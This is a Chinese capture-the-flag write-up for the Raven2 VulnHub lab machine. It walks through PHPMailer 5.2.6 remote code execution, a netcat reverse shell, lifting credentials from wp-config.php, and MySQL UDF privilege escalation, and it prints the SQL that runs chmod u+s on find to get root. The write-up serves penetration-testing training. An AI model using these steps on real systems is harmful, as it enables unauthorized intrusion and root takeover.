Raven2靶机:Hacking Writeup
- Raven2 下载地址:https://www.vulnhub.com/entry/raven-2,269/
Raven2 是之前的 Raven 靶机系列的第2关。目标也是获取靶机上的4个flag。
目录
- 主机发现,端口扫描
- 80 端口和 WordPress CMS 的发现
- 枚举目录,查找
vendor目录 - 发现文件
PATH并从中获得flag1 - 发现文件
VERSION并从中获取 PHPMailer 的版本 - 利用 PHP 5.2.6 版本的 RCE 漏洞
- 对 exploit 进行适当修改,以便成功利用
- 通过发送的 payload 来获取 netcat shell
- 在
/var/www中获取flag2 - 在 wordpress 目录下查找
wp-config.php文件,并从中读取数据库密码 - 使用
LinEnum.sh脚本枚举 Linux 活动进程 - 使用 exploit-db 上名为
1518.c的 UDF 动态库漏洞利用程序进行提权 - 在
find程序设置 sticky 位 - 获取 root 访问权限
- 在
/root下获得flag4 - 通过遍历系统找到
flag3
让我们开始 hacking 吧。
首先使用 netdiscover 发现网络上的主机,本例中靶机的 IP 为:192.168.166.200
- netdiscover -i eth0
image.png
使用 nmap 对靶机进行扫描,可以看到靶机打开了3个端口:22、80和111
- nmap -A 192.168.166.200
image.png
于是我们把目光放到 80 端口,可以看到一个 Raven Security 的网站。
image.png
使用 dirb 工具对站点进行目录扫描,可发现存在 vendor 目录
image.png
访问 http://192.168.166.200/vendor/ 发现,该路径存在目录遍历:
image.png
查看 PATH 文件可得到 flag1
image.png
在该路径下,还有一个文件名值得注意,那就是 VERSION,查看该文件可看到一个版本号:5.2.6
image.png
再看 /vendor 目录下,还有几个文件名含有 phpmailer 的文件,如 PHPMailerAutoload.php ,可确定 5.2.6 是 PHPMailer 的版本号。
于是使用 searchsploit 在 exploit-db 中搜索 PHPMailer 相关的 exp:
image.png
这里我们选择 40974.py
- searchsploit -m 40974.py
image.png
修改 40974.py,如下:
image.png
然后运行 40974.py
image.png
然后用 nc 监听本机的 443 端口:
image.png
此时,访问 http://192.168.166.200/shell.php,本机会得到一个反向 shell
image.png
利用 Python 的 pty 模块获得一个 bash shell
image.png
在 /var/www/flag2.txt 中读取 flag2
image.png
将 LinEnum.sh 脚本想办法导入到靶机中,该脚本可以枚举各种 Linux 系统的各种信息。
image.png
执行 LinEnum.sh 脚本,可以看到靶机上运行着 MySQL 服务:
image.png
image.png
另外,通过 ps -ef |grep mysql 查看进程得知,MySQL 服务使以 root 权限启动的,因此可以想到等会可以利用 MySQL UDF 进行提权。更多信息见:https://legalhackers.com/advisories/mysql-exploit-remote-root-code-execution-privesc-cve-2016-6662.html
image.png
使用 searchsploit 从 exploit-db 中搜索相关的 exploit :
- searchsploit mysql udf
image.png
这里选择用 1518.c, 下载它:
image.png
打开 1518.c 可看到里面有使用说明:
image.png
按照使用说明,使用 1518.c 进行编译,生成共享库 1518.so,并导入到靶机中。
接着,为了进入 MySQL shell,我们进入 /var/www/html/wordpress 目录下找到 wp-config.php 文件,因为里面记录了数据库的用户名/密码:
image.png
于是,进入 MySQL shell:
依次执行下面的语句:
use mysql
create table foo(line blob); #创建一个表,名为 foo。
insert into foo values(load_file('/tmp/1518.so')); #将 1518.so 导入 foo 表。
select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; #将1518.so转储到 /usr/lib/mysql/plugin 目录中。
create function do_system returns integer soname '1518.so'; #最重要的一步,创建一个名为 do_system 的 UDF 函数,它将调用实现该函数的代码。
select do_system('chmod u+s /usr/bin/find'); #调用do_system() 函数,执行chmod 命令,对 /usr/bin/find 设置 sticky 位
image.png
此时,回到 /tmp 目录,使用 find 命令来获取 root shell
image.png
查找并获取 flag4:
image.png
查找并获取 flag3:
image.png
image.png